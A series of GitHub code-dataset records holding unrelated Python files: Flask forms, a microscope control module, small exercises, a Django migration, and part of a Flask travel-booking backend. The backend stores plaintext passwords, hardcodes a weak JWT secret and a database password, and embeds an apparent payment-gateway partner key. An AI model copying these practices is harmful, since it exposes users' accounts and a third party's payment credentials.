'WA'\n WV = 'WV'\n WI = 'WI'\n WY = 'WY'\n\n def __str__(self):\n return self.name\n\n @classmethod\n def choices(states):\n return [(choice.value, choice.value) for choice in states]\n\n @classmethod\n def coerce(state, item):\n return item if isinstance(state(item), state) else None\n\n\nclass Genre(Enum):\n Alternative = 'Alternative'\n Blues = 'Blues'\n Classical = 'Classical'\n Country = 'Country'\n Electronic = 'Electronic'\n Folk = 'Folk'\n Funk = 'Funk'\n HipHop = 'Hip Hop'\n HeavyMetal = 'Heavy Metal'\n Instrumental = 'Instrumental'\n Jazz = 'Jazz'\n MusicalTheatre = 'Musical Theatre'\n Pop = 'Pop'\n Punk = 'Punk'\n RandB = 'R&B'\n Reggae = 'Reggae'\n RocknRoll = 'Rock n Roll'\n Soul = 'Soul'\n Other = 'Other'\n\n def __str__(self):\n return self.name\n\n @classmethod\n def choices(genres):\n return [(choice.value, choice.value) for choice in genres]\n \n @classmethod\n def coerce(genre, item):\n return item if isinstance(genre(item), genre) else None\n\nclass VenueForm(FlaskForm):\n name = StringField(\n 'name', validators=[DataRequired()]\n )\n city = StringField(\n 'city', validators=[DataRequired()]\n )\n state = SelectField(\n 'state', validators=[DataRequired()],\n choices= State.choices(),\n coerce=State.coerce\n )\n address = StringField(\n 'address', validators=[DataRequired()]\n )\n phone = StringField(\n # TODO implement validation logic for state\n 'phone'\n )\n genres = SelectMultipleField(\n # TODO implement enum restriction\n 'genres', validators=[DataRequired()],\n choices=Genre.choices(),\n coerce=Genre.coerce\n )\n website = StringField(\n 'website', validators=[DataRequired()]\n )\n seeking_talent = BooleanField(\n 'seeking_talent', id=\"seeking_talent\"\n )\n seeking_description = StringField(\n 'seeking_description', id=\"seeking_description\"\n )\n image_link = StringField(\n 'image_link', validators=[URL()]\n )\n facebook_link = StringField(\n 'facebook_link', validators=[URL()]\n )\n\n # TODO implement validation logic for state\n def validate_phone(self, phone):\n try:\n p = phonenumbers.parse(phone.data, 'US')\n if not phonenumbers.is_valid_number(p):\n raise ValueError() \n except (ValueError):\n raise ValidationError('Invalid US phone number')\n\n\nclass ArtistForm(FlaskForm):\n name = StringField(\n 'name', validators=[DataRequired()]\n )\n city = StringField(\n 'city', validators=[DataRequired()]\n )\n state = SelectField(\n 'state', validators=[DataRequired()],\n choices=State.choices(),\n coerce=State.coerce\n )\n phone = StringField(\n # TODO implement validation logic for state\n 'phone'\n )\n website = StringField(\n 'website', validators=[DataRequired()]\n )\n seeking_venue = BooleanField(\n 'seeking_venue', id=\"seeking_venue\"\n )\n seeking_description = StringField(\n 'seeking_description', id=\"seeking_description\"\n )\n image_link = StringField(\n 'image_link'\n )\n genres = SelectMultipleField(\n # TODO implement enum restriction\n 'genres', validators=[DataRequired()],\n choices=Genre.choices(),\n coerce = Genre.coerce\n )\n facebook_link = StringField(\n # TODO implement enum restriction\n 'facebook_link', validators=[URL()]\n )\n\n def validate_phone(self, phone):\n try:\n p = phonenumbers.parse(phone.data, 'US')\n if not phonenumbers.is_valid_number(p):\n raise ValueError() \n except (ValueError):\n raise ValidationError('Invalid US phone number')\n\n# TODO IMPLEMENT NEW ARTIST FORM AND NEW SHOW FORM\n\n# My OWN Version of ShowForm\n# class ShowForm(FlaskForm):\n# venues = SelectMultipleField(\n# 'venues', validators=[DataRequired()],\n# )\n# artists = SelectMultipleField(\n# 'artists', validators=[DataRequired()],\n# )\n# start_time = DateTimeField(\n# 'start_time', validators=[DataRequired()],\n# )\n\n# def validate_start_time(self, start_time):\n# try:\n# if start_time.data < d.now():\n# raise ValueError()\n# except (ValueError):\n# raise ValidationError(\"The date cannot be in the past!\") ","repo_name":"Ahmad-Zaky/fuyyr_udacity_proj","sub_path":"forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":7084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"31281665101","text":"import logging\nfrom icecream import ic\nimport os\nimport abc\n\nfrom pycromanager import Core\n# import pymmcore\n\nimport time\nimport numpy as np\nimport pandas as pd\n\nfrom monet.util import load_class\n\n\nlogger = logging.getLogger(__name__)\nic.configureOutput(outputFunction=logger.debug)\n\npycrocore = None\n# or load specific config here: https://github.com/micro-manager/pymmcore/\n\ndef get_pycromgr(pycore_config=None):\n \"\"\"Initialize the pycromanager core, either using a saved configuration,\n or the default.\n Args:\n pycrocore_config : None or dict\n if dict, with keys: 'micromanager_path', 'mmconfig_name'\n\n Returns:\n pycrocore : pycromanger.Core\n the global pycromanger core instance\n \"\"\"\n global pycrocore\n if pycrocore is not None:\n # logger.debug('Pycromanager Core already initialized. Returning.')\n return pycrocore\n\n if pycore_config is None:\n try:\n pycrocore = Core()\n except TimeoutError as e:\n raise e\n else:\n # no need to specifically load the config\n logger.debug('Ignoring pycromanager configuration {:s}.'.format(str(pycore_config)))\n try:\n pycrocore = Core()\n except TimeoutError as e:\n raise e\n # raise NotImplementedError('Loading pycromanager from pymmcore is not implemented.')\n # pycrocore = pymmcore.CMMCore()\n # pycrocore.setDeviceAdapterSearchPaths(\n # [pycore_config['micromanager_path']])\n # pycrocore.loadSystemConfiguration(\n # os.path.join(pycore_config['micromanager_path'],\n # pycore_config['mmconfig_name']))\n\n # logger.debug(pycrocore.getAvailablePropertyBlocks())\n # logger.debug(pycrogore.getChannelGroup())\n return pycrocore\n\n\nclass BeamPath():\n \"\"\"A class holding all objects in the beam path that can be opened\n or put into a correct position.\n Example config:\n {\n 'DC': {\n 'classpath': 'monet.beampath.NikonFilterWheel',\n init_kwargs: {'SN': 1234}},\n 'shutter': {\n 'classpath': 'monet.beampath.NikonShutter',\n init_kwargs: {'SN': 123456}},\n \"\"\"\n def __init__(self, config, pycore_config=None):\n \"\"\"\n Args:\n config : dict\n keys: BeamPathObject identifier, as used in protocol\n pycore_config : dict\n 'micromanager_path', 'mmconfig_name'\n \"\"\"\n get_pycromgr(pycore_config)\n self.objects = {\n obid: load_class(cfg['classpath'], cfg['init_kwargs'])\n for obid, cfg in config.items()\n }\n\n @property\n def positions(self):\n \"\"\"Query the positions of the beam path objects.\n Returns:\n positions : dict\n keys object its as in self.objects\n \"\"\"\n return {obid: obj.position for obid, obj in self.objects.items()}\n\n @positions.setter\n def positions(self, positions):\n \"\"\"Set the position of beam path objects.\n Args:\n positions : dict\n keys: object ids as in self.objects\n values: position values compatible with the respective object.\n \"\"\"\n for obid, pos in positions.items():\n self.objects[obid].position = pos\n\n\nclass AbstractBeamPathObject(abc.ABC):\n \"\"\"The prototypic beam path object, with standard methods.\n \"\"\"\n _position = None\n def __init__(self, config):\n self._position = 0\n self._autoshutter = True\n pass\n\n @property\n @abc.abstractmethod\n def position(self):\n \"\"\"Get the position of the beam path object\n \"\"\"\n return self._position\n\n @position.setter\n @abc.abstractmethod\n def position(self, pos):\n \"\"\"Set the position of the beam path object\"\"\"\n self._position = pos\n\n\nclass TestShutter(AbstractBeamPathObject):\n \"\"\"Implments a test shutter.\n \"\"\"\n def __init__(self, config):\n \"\"\"\n Args:\n config : dict\n the configuration of the shutter. Keys\n 'SN': serial number\n ...\n \"\"\"\n super().__init__(config)\n logger.debug('initializing TestShutter')\n self.device = self._connect(config)\n self._autoshutter = True\n\n @property\n def autoshutter(self):\n \"\"\"Get the whether shutter is on autoshutter\n \"\"\"\n return self._autoshutter\n\n @autoshutter.setter\n def autoshutter(self, pos):\n \"\"\"Set the autoshutter state\"\"\"\n self._autoshutter = pos\n\n def _connect(self, config):\n device = None\n logger.debug('connecting to TestShutter')\n return device\n\n @property\n def position(self):\n logger.debug('querying position of TestShutter.')\n return super().position\n\n @position.setter\n def position(self, pos):\n assert(isinstance(pos, bool))\n logger.debug('setting position of TestShutter to {:b}'.format(pos))\n super(self.__class__, self.__class__).position.__set__(self, pos)\n\n\nclass NikonShutter(AbstractBeamPathObject):\n \"\"\"Implments the shutter of a Nikon Ti2 Microscope.\n \"\"\"\n def __init__(self, config):\n \"\"\"\n Args:\n config : dict\n the configuration of the shutter. Keys\n 'SN': serial number\n ...\n \"\"\"\n super().__init__(config)\n self._connect(config)\n\n def _connect(self, config):\n self.core = get_pycromgr()\n self.core.set_property('Core', 'AutoShutter', 0)\n\n @property\n def autoshutter(self):\n return self.core.get_property('Core', 'AutoShutter')\n\n @autoshutter.setter\n def autoshutter(self, val):\n if val:\n val = 1\n else:\n val = 0\n self.core.set_property('Core', 'AutoShutter', val)\n\n @property\n def position(self):\n return super().position\n\n @position.setter\n def position(self, pos):\n assert(isinstance(pos, bool))\n # if pos:\n # self.device.open()\n # # core.setShutterOpen(True)\n # else:\n # self.device.close()\n # core.set_property('Core', 'ShutterOpen', pos)\n self.core.set_shutter_open(pos)\n super(self.__class__, self.__class__).position.__set__(self, pos)\n\n\nclass NikonFilterWheel(AbstractBeamPathObject):\n \"\"\"Implments the filter wheel of a Nikon Ti2 Microscope.\n \"\"\"\n def __init__(self, config):\n \"\"\"\n Args:\n config : dict\n the configuration of the filter wheel. Keys:\n 'SN': serial number\n ...\n \"\"\"\n super().__init__(config)\n self._connect(config)\n\n def _connect(self, config):\n self.core = get_pycromgr()\n # find the correct filter config name\n filter_config_name = 'Filter turret'\n cfg_groups = self.core.get_available_config_groups()\n config_names = [\n cfg_groups.get(i)\n for i in range(cfg_groups.size())]\n if filter_config_name not in config_names:\n config_names_upper = [it.upper() for it in config_names]\n if filter_config_name.upper() in config_names_upper:\n filter_config_name = config_names[\n config_names_upper.index(filter_config_name.upper())]\n else:\n # try the parts\n name_candidates = []\n for test_cn in filter_config_name.split(' '):\n found = [test_cn.upper() in cn for cn in config_names_upper]\n if sum(found) > 0:\n name_candidates.append(config_names[found.index(True)])\n if len(name_candidates) == 1:\n filter_config_name = name_candidates[0]\n elif len(name_candidates) > 1:\n logger.debug(\n 'Multiple configs could be the ' + filter_config_name +\n ': ' + ', '.join(name_candidates) + '. Choosing the first.')\n filter_config_name = name_candidates[0]\n else:\n raise KeyError(\n 'Cannot find configuration for ' + filter_config_name +\n '.')\n self.filter_config_name = filter_config_name\n # load the options\n configopts = self.core.get_available_configs(filter_config_name)\n self.filter_options = [configopts.get(i) for i in range(configopts.size())]\n\n @property\n def position(self):\n curr_pos = self.core.get_current_config(self.filter_config_name)\n return curr_pos\n return super().position\n\n @position.setter\n def position(self, pos):\n assert(isinstance(pos, str))\n assert(pos in self.filter_options)\n self.core.set_config(self.filter_config_name, pos)\n\n super(self.__class__, self.__class__).position.__set__(self, pos)\n","repo_name":"Heerpa/monet","sub_path":"monet/beampath.py","file_name":"beampath.py","file_ext":"py","file_size_in_byte":8988,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"35551130880","text":"# Write your solution here\nwhile True:\n number = int(input(\"Please type in a number: \"))\n if (number <= 0):\n print(\"Thanks and bye!\")\n break\n i = 1\n f = 1\n while i <= number:\n f = f*i\n i += 1\n print(f\"The factorial of the number {number} is {f}\")\n","repo_name":"Hannah-Abi/python-pro-21","sub_path":"intro/part03-25_factorial/src/factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"29169923513","text":"import json\nimport argparse\n\n\ndef create_sample(input_file, output_file, nb_docs):\n \"\"\"\n Create a sample file.\n \"\"\"\n # Open and read json file\n with open(input_file) as json_file:\n data = json.load(json_file)\n\n # Loop over each document\n for i, doc in enumerate(data):\n # Get the text\n text = doc.get('text')\n\n # Append the text\n with open(output_file,'a') as f:\n f.write(text[0] + \"\\n\")\n\n # Take only sample of all docs\n if i > nb_docs:\n break\n\n\ndef parse_arguments():\n \"\"\"\n Parser.\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--in_file\", type=str, default=\"1.json\",\n help=\"Input file.\")\n parser.add_argument(\"--out_file\", type=str, default=\"sample.txt\",\n help=\"Output file.\")\n parser.add_argument(\"--nb_docs\", type=int, default=2,\n help=\"Number of documents to consider.\")\n arguments, _ = parser.parse_known_args()\n return arguments\n\n\nif __name__ == \"__main__\":\n args = parse_arguments()\n create_sample(args.in_file, args.out_file, args.nb_docs)\n ","repo_name":"antoiloui/netbert","sub_path":"scripts/data_cleaning/-/initial_cleaning/create_sample.py","file_name":"create_sample.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"35791641030","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('djangocms_repeater', '0018_auto_20161026_2224'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='multiplesingleheader',\n name='captionText',\n field=models.CharField(blank=True, max_length=200, default=''),\n ),\n migrations.AlterField(\n model_name='singleheader',\n name='captionText',\n field=models.CharField(blank=True, max_length=200, default=''),\n ),\n ]\n","repo_name":"womenhackfornonprofits/seo-london","sub_path":"djangocms_repeater/migrations/0019_auto_20161026_2227.py","file_name":"0019_auto_20161026_2227.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"27636139439","text":"# -*-coding:UTF-8-*-\n\nfrom openpyxl import Workbook, load_workbook, cell\nimport datetime\n\n# Create workbook\n\n# Change background color\nfrom openpyxl.styles import PatternFill, Color\n\nwb = Workbook()\n# grab active worksheet\nws = wb.active\nws.sheet_properties.tabColor = \"ff0000\"\nws['A1'].fill = PatternFill(patternType='solid', fill_type='solid', fgColor=Color('ff0000'))\n# Data can be assigned directly cells\nws['A1'] = 10\nws['B1'] = 20\nws['C1'] = 30\n# Rows can also be\nfor row in range(1, 40):\n ws.append(range(600))\n# Python types will automatically be converted\nws['A2'] = datetime.datetime.now()\n# save the file\nws1 = wb.create_sheet()\nws1.title = \"secondsheet\"\nws1.cell(row=1, column=1, value=\"成功\")\nd = ws1.cell(row=2, column=1, value=\"失败\")\n# for sheet in wb:\n# \tprint(wb.sheetnames)\nwb.save(\"test.xlsx\")\n\nWorkbook1 = load_workbook('test.xlsx')\nprint(Workbook1.sheetnames)\nworksheet2 = Workbook1.sheetnames[1]\nprint(worksheet2)\nsheet1 = Workbook1.get_sheet_by_name(worksheet2)\nprint(sheet1.cell(row=1, column=1).value)\nprint(sheet1.cell(row=2, column=1).value)\nwb.save(\"test.xlsx\")\n","repo_name":"zhongqionglun/GitLibrary","sub_path":"PythonLearning/OperateExcel.py","file_name":"OperateExcel.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"1653926962","text":"from flask import *\nimport mysql.connector.pooling\nfrom collections import Counter\nfrom flask_cors import CORS\nimport jwt\nimport datetime\nimport time\nimport random\nimport requests\n\n\nsecret_key = \"key123\"\n\ndb_config = {\n \"pool_name\": \"mypool\",\n \"pool_size\": 32,\n \"host\": \"localhost\",\n \"user\": \"angie\",\n \"password\": \"123456\",\n \"database\": \"taipei_day_trip\"\n}\nconnection_pool = mysql.connector.pooling.MySQLConnectionPool(**db_config)\n\n\ndef connect_to_database():\n try:\n connection = connection_pool.get_connection()\n cursor = connection.cursor()\n\n return connection, cursor\n except:\n return None, None\n\n\napp = Flask(__name__)\napp.config[\"JSON_AS_ASCII\"] = False\napp.config[\"TEMPLATES_AUTO_RELOAD\"] = True\ncors = CORS(app)\n\n\n# Pages\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route(\"/attraction/\")\ndef attraction(id):\n return render_template(\"attraction.html\", id=id)\n\n\n@app.route(\"/booking\")\ndef booking():\n return render_template(\"booking.html\")\n\n\n@app.route(\"/thankyou\")\ndef thankyou():\n order_number = request.args.get(\"number\", None)\n return render_template(\"thankyou.html\", order_number=order_number)\n\n\n@app.route(\"/api/user\", methods=[\"POST\"])\ndef signup():\n data = request.get_json()\n name = data[\"name\"]\n email = data[\"email\"]\n password = data[\"password\"]\n try:\n if name == \"\" or email == \"\" or password == \"\":\n return jsonify({\"error\": True, \"message\": \"請輸入完整註冊資訊\"}), 400\n con, cursor = connect_to_database()\n cursor.execute(\"SELECT email FROM member WHERE email = %s\", (email,))\n existing_user = cursor.fetchone()\n if (existing_user):\n return jsonify({\"error\": True, \"message\": \"此信箱已被註冊\"}), 400\n cursor.execute(\n \"INSERT INTO member(name,email,password) VALUES (%s,%s,%s)\", (name, email, password))\n con.commit()\n cursor.close()\n con.close()\n return jsonify({\"ok\": True, \"message\": \"註冊成功\"}), 200\n except:\n return jsonify({\"error\": True, \"message\": \"內部伺服器錯誤\"}), 500\n\n\n@app.route(\"/api/user/auth\", methods=[\"PUT\"])\ndef signin():\n data = request.get_json()\n email = data[\"email\"]\n password = data[\"password\"]\n con, cursor = connect_to_database()\n cursor.execute(\n \"SELECT id,name,email FROM member WHERE (email,password) = (%s,%s)\", (email, password))\n existing_user = cursor.fetchone()\n cursor.close()\n con.close()\n try:\n if email == \"\" or password == \"\":\n return jsonify({\"error\": True, \"message\": \"請完整輸入帳號及密碼資訊\"}), 400\n elif existing_user is None:\n return jsonify({\"error\": True, \"message\": \"帳號或密碼輸入錯誤\"}), 400\n else:\n payload = {\n 'id': existing_user[0],\n 'name': existing_user[1],\n 'email': existing_user[2],\n 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=168)\n }\n token = jwt.encode(payload, secret_key, algorithm='HS256')\n return jsonify({'token': token}), 200\n except:\n return jsonify({\"error\": True, \"message\": \"內部伺服器錯誤\"}), 500\n\n\n@app.route(\"/api/user/auth\", methods=[\"GET\"])\ndef check():\n try:\n authorization_header = request.headers.get('Authorization')\n bearer_token = authorization_header.split(' ')[1]\n decoded_token = jwt.decode(\n bearer_token, secret_key, algorithms=['HS256'])\n id = decoded_token['id']\n name = decoded_token['name']\n email = decoded_token['email']\n data = {\n \"data\": {\n \"id\": id,\n \"name\": name,\n \"email\": email\n }\n }\n return jsonify(data), 200\n except:\n data = {\n \"data\": None\n }\n return jsonify(data), 401\n\n\n@app.route(\"/api/attractions\", methods=[\"GET\"])\ndef attractions():\n def sortpage(page):\n try:\n page = int(page)\n if page < 0:\n response_data = {\n \"error\": True,\n \"message\": \"頁面參數最小值為0\"\n }\n response = json.dumps(response_data, ensure_ascii=False)\n return response, 500, {\"Content-Type\": \"application/json\"}\n\n offset = page * 12\n con, cursor = connect_to_database()\n cursor.execute(\"SELECT COUNT(*) FROM attraction\")\n number = cursor.fetchone()[0]\n cursor.execute(\n \"SELECT * FROM attraction LIMIT 12 OFFSET %s\", (offset,))\n result = cursor.fetchall()\n attractions_data = []\n for row in result:\n id = row[0]\n name = row[1]\n category = row[2]\n description = row[3]\n address = row[5]\n transport = row[4]\n MRT = row[8]\n latitude = row[7]\n longitude = row[6]\n cursor.execute(\n \"SELECT * FROM figure WHERE attraction_id = %s\", (id,))\n fig_result = cursor.fetchall()\n fig = []\n for row in fig_result:\n fig.append(row[2])\n data = {\n \"id\": id,\n \"name\": name,\n \"category\": category,\n \"description\": description,\n \"address\": address,\n \"transport\": transport,\n \"MRT\": MRT,\n \"lat\": latitude,\n \"lng\": longitude,\n \"images\": fig\n }\n attractions_data.append(data)\n cursor.close()\n con.close()\n limit_page = number // 12\n if page < limit_page:\n nextPage = page + 1\n elif page == limit_page:\n nextPage = None\n else:\n response = {\n \"error\": True,\n \"message\": \"頁數超過資料範圍\"\n }\n response = json.dumps(response, ensure_ascii=False)\n return response, 500, {\"Content-Type\": \"application/json\"}\n response = {\n \"nextPage\": nextPage,\n \"data\": attractions_data\n }\n response = json.dumps(response, ensure_ascii=False)\n return response, 200, {\"Content-Type\": \"application/json\"}\n\n except ValueError:\n response_data = {\n \"error\": True,\n \"message\": \"頁面參數必須為整數\"\n }\n response = json.dumps(response_data, ensure_ascii=False)\n return response, 500, {\"Content-Type\": \"application/json\"}\n\n page = request.args.get(\"page\")\n keyword = request.args.get(\"keyword\")\n if page is None:\n response_data = {\n \"error\": True,\n \"message\": \"缺少頁面參數\"\n }\n response = json.dumps(response_data, ensure_ascii=False)\n return response, 500, {\"Content-Type\": \"application/json\"}\n if keyword:\n con, cursor = connect_to_database()\n cursor.execute(\"SELECT COUNT(*) FROM attraction WHERE MRT = %s OR name LIKE %s\",\n (keyword, \"%\" + keyword + \"%\"))\n # 如果有設index,SELECT COUNT就會很快。\n number = cursor.fetchone()[0]\n if number == 0:\n response_data = {\n \"error\": True,\n \"message\": \"沒有相關資料\"\n }\n response = json.dumps(response_data, ensure_ascii=False)\n return response, 500, {\"Content-Type\": \"application/json\"}\n page = int(page)\n limit_page = number // 12\n if page < limit_page:\n nextPage = page + 1\n elif page == limit_page:\n nextPage = None\n else:\n response = {\n \"error\": True,\n \"message\": \"頁數超過資料範圍\"\n }\n response = json.dumps(response, ensure_ascii=False)\n return response, 500, {\"Content-Type\": \"application/json\"}\n offset = page * 12\n cursor.execute(\"SELECT * FROM attraction WHERE MRT = %s OR name LIKE %s LIMIT 12 OFFSET %s\",\n (keyword, \"%\" + keyword + \"%\", offset))\n result = cursor.fetchall()\n if len(result) == 0:\n return sortpage(page)\n else:\n if page < 0:\n response_data = {\n \"error\": True,\n \"message\": \"頁面參數最小值為0\"\n }\n response = json.dumps(response_data, ensure_ascii=False)\n return response, 500, {\"Content-Type\": \"application/json\"}\n attractions_data = []\n for row in result:\n id = row[0]\n name = row[1]\n category = row[2]\n description = row[3]\n address = row[5]\n transport = row[4]\n MRT = row[8]\n latitude = row[7]\n longitude = row[6]\n cursor.execute(\n \"SELECT * FROM figure WHERE attraction_id = %s\", (id,))\n # SELECT attraction.*, GROUP_CONCAT(images.images_link) AS images_links #GROUP_CONCAT 一次把同一個編號的資料都取出來\n # FROM attraction\n # LEFT JOIN images ON attraction.id = images.attraction_id\n # WHERE mrt = %s OR name LIKE %s\n # GROUP BY attraction.id\n # LIMIT %s, %s\n fig_result = cursor.fetchall()\n fig = []\n for row in fig_result:\n fig.append(row[2])\n data = {\n \"id\": id,\n \"name\": name,\n \"category\": category,\n \"description\": description,\n \"address\": address,\n \"transport\": transport,\n \"MRT\": MRT,\n \"lat\": latitude,\n \"lng\": longitude,\n \"images\": fig\n }\n attractions_data.append(data)\n response = {\n \"nextPage\": nextPage,\n \"data\": attractions_data\n }\n cursor.close()\n con.close()\n response = json.dumps(response, ensure_ascii=False)\n return response, 200, {\"Content-Type\": \"application/json\"}\n else:\n return sortpage(page)\n\n\n@app.route(\"/api/attraction/\", methods=[\"get\"])\ndef attractionId(attractionId):\n if attractionId is None:\n response_data = {\n \"error\": True,\n \"message\": \"缺少景點id參數\"\n }\n response = json.dumps(response_data, ensure_ascii=False)\n return response, 500, {\"Content-Type\": \"application/json\"}\n else:\n try:\n attractionId = int(attractionId)\n if attractionId < 1:\n response_data = {\n \"error\": True,\n \"message\": \"景點id參數最小編號為1\"\n }\n response = json.dumps(response_data, ensure_ascii=False)\n return response, 400, {\"Content-Type\": \"application/json\"}\n con, cursor = connect_to_database()\n cursor.execute(\n \"SELECT * FROM attraction WHERE id=%s\", (attractionId,))\n result = cursor.fetchall()\n for row in result:\n id = row[0]\n name = row[1]\n category = row[2]\n description = row[3]\n address = row[5]\n transport = row[4]\n MRT = row[8]\n latitude = row[7]\n longitude = row[6]\n cursor.execute(\n \"SELECT * FROM figure WHERE attraction_id = %s\", (id,))\n fig_result = cursor.fetchall()\n fig = []\n for row in fig_result:\n fig.append(row[2])\n data = {\n \"id\": id,\n \"name\": name,\n \"category\": category,\n \"description\": description,\n \"address\": address,\n \"transport\": transport,\n \"MRT\": MRT,\n \"lat\": latitude,\n \"lng\": longitude,\n \"images\": fig\n }\n response = {\n \"data\": data\n }\n response = json.dumps(response, ensure_ascii=False)\n cursor.close()\n con.close()\n return response, 200, {\"Content-Type\": \"application/json\"}\n except ValueError:\n response_data = {\n \"error\": True,\n \"message\": \"景點id參數必須為整數\"\n }\n response = json.dumps(response_data, ensure_ascii=False)\n return response, 400, {\"Content-Type\": \"application/json\"}\n\n\n@app.route(\"/api/mrts\", methods=[\"get\"])\ndef mrts():\n con, cursor = connect_to_database()\n cursor.execute(\"SELECT MRT FROM attraction\")\n data = cursor.fetchall()\n data_list = []\n for name in data:\n if name[0] != None:\n data_list.append(name[0])\n element_count = Counter(data_list)\n sorted_elements = sorted(element_count.items(),\n key=lambda x: x[1], reverse=True)\n sort_list = []\n for i in sorted_elements:\n sort_list.append(i[0])\n response = {\n \"data\": sort_list\n }\n # SELECT a.mrt\n # FROM attractions a\n # GROUP BY a.mrt\n # ORDER BY COUNT(*) DESC, a.mrt;\n\n # 可以去檢測這個COUNT效率好不好,該如何優化,可以用EXPLAIN+索引看能不能優化,假如不行,可以考慮要不要做快取,做完之後把結果先存起來放在全域變數裡,可以從裡面拿就好,比較快,但要注意資料更新時變數需要更新(空間換取時間)\n response = json.dumps(response, ensure_ascii=False)\n cursor.close()\n con.close()\n return response, 200, {\"Content-Type\": \"application/json\"}\n\n\n@app.route(\"/api/booking\", methods=[\"POST\"])\ndef postBooking():\n authorization_header = request.headers.get('Authorization')\n result = None\n if (authorization_header):\n bearer_token = authorization_header.split(' ')[1]\n decoded_token = jwt.decode(\n bearer_token, secret_key, algorithms=['HS256'])\n id = decoded_token['id']\n con, cursor = connect_to_database()\n cursor.execute(\"SELECT id FROM member WHERE id = %s\", (id,))\n result = cursor.fetchone()\n cursor.close()\n con.close()\n if not result:\n return jsonify({\"error\": True, \"message\": \"未登入系統,存取遭拒\"}), 403\n data = request.get_json()\n attractionId = data[\"attractionId\"]\n date = data[\"date\"]\n time = data[\"time\"]\n price = data[\"price\"]\n try:\n con, cursor = connect_to_database()\n cursor.execute(\"SELECT * FROM attraction WHERE id=%s\", (attractionId,))\n result = cursor.fetchone()\n if result:\n cursor.execute(\"DELETE FROM booking WHERE member_id=%s\", (id,))\n con.commit()\n cursor.execute(\n \"INSERT INTO booking (member_id, attraction_id, date, time, price) VALUES (%s,%s,%s,%s,%s)\", (id, attractionId, date, time, price))\n con.commit()\n cursor.close()\n con.close()\n return jsonify({\"ok\": True}), 200\n else:\n return jsonify({\"error\": \"找不到相關景點資料\"}), 400\n except:\n return jsonify({\"error\": True, \"message\": \"伺服器內部錯誤\"}), 500\n\n\n@app.route(\"/api/booking\", methods=[\"GET\"])\ndef getBooking():\n try:\n authorization_header = request.headers.get('Authorization')\n if (authorization_header):\n bearer_token = authorization_header.split(' ')[1]\n decoded_token = jwt.decode(\n bearer_token, secret_key, algorithms=['HS256'])\n id = decoded_token['id']\n if not id:\n return jsonify({\"error\": True, \"message\": \"未登入系統,存取遭��\"}), 403\n con, cursor = connect_to_database()\n cursor.execute(\n \"SELECT * FROM booking WHERE member_id=%s;\", (id,))\n result2 = cursor.fetchone()\n attractionId = result2[2]\n cursor.execute(\n \"SELECT * FROM attraction INNER JOIN figure ON attraction.id = figure.attraction_id WHERE attraction.id=%s LIMIT 1;\", (attractionId,))\n result1 = cursor.fetchone()\n cursor.close()\n con.close()\n if len(result1) != 0 and len(result2) != 0:\n data = {\"data\": {\n \"attraction\": {\n \"id\": result1[0],\n \"name\": result1[1],\n \"address\": result1[5],\n \"image\": result1[12]\n },\n \"date\": result2[3],\n \"time\": result2[4],\n \"price\": result2[5]\n }}\n return jsonify(data), 200\n except:\n return jsonify({\"error\": True, \"message\": \"伺服器內部錯誤\"}), 500\n\n\n@app.route(\"/api/booking\", methods=[\"DELETE\"])\ndef deleteBooking():\n try:\n authorization_header = request.headers.get('Authorization')\n if (authorization_header):\n bearer_token = authorization_header.split(' ')[1]\n decoded_token = jwt.decode(\n bearer_token, secret_key, algorithms=['HS256'])\n id = decoded_token['id']\n if not id:\n return jsonify({\"error\": True, \"message\": \"未登入系統,存取遭拒\"}), 403\n con, cursor = connect_to_database()\n cursor.execute(\"DELETE FROM booking WHERE member_id=%s\", (id,))\n con.commit()\n cursor.close()\n con.close()\n return jsonify({\"ok\": True}), 200\n except:\n return jsonify({\"error\": True, \"message\": \"伺服器內部錯誤\"}), 500\n\n\n@app.route(\"/api/orders\", methods=[\"POST\"])\ndef order():\n try:\n authorization_header = request.headers.get('Authorization')\n if (authorization_header):\n bearer_token = authorization_header.split(' ')[1]\n decoded_token = jwt.decode(\n bearer_token, secret_key, algorithms=['HS256'])\n id = decoded_token['id']\n if not id:\n return jsonify({\"error\": True, \"message\": \"未登入系統,存取遭拒\"}), 403\n data = request.get_json()\n if (data == {}):\n return jsonify({\"error\": True, \"message\": \"沒有收到訂單資料\"}), 400\n con, cursor = connect_to_database()\n timestamp = int(time.time()) # 當前時間戳\n random_number = random.randint(1000, 9999) # 生成4位隨機數\n order_number = timestamp + random_number\n cursor.execute(\n \"INSERT INTO orders (order_number, order_status, price,attraction_id,attraction_name,attraction_address,attraction_image,date,time,name,phone,email) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\", (order_number, \"未付款\", data[\"order\"][\"price\"], data[\"order\"][\"trip\"][\"attraction\"][\"id\"], data[\"order\"][\"trip\"][\"attraction\"][\"name\"], data[\"order\"][\"trip\"][\"attraction\"][\"address\"], data[\"order\"][\"trip\"][\"attraction\"][\"image\"], data[\"order\"][\"trip\"][\"date\"], data[\"order\"][\"trip\"][\"time\"], data[\"order\"][\"contact\"][\"name\"], data[\"order\"][\"contact\"][\"phone\"], data[\"order\"][\"contact\"][\"email\"]))\n con.commit()\n cursor.close()\n con.close()\n payment_data = {\n \"prime\": data[\"prime\"],\n \"partner_key\": \"partner_BeFocFT399egpcH719rmrD24xWWxQ3nveS02qY7SKCgUjA8Pcgd55kvY\",\n \"merchant_id\": 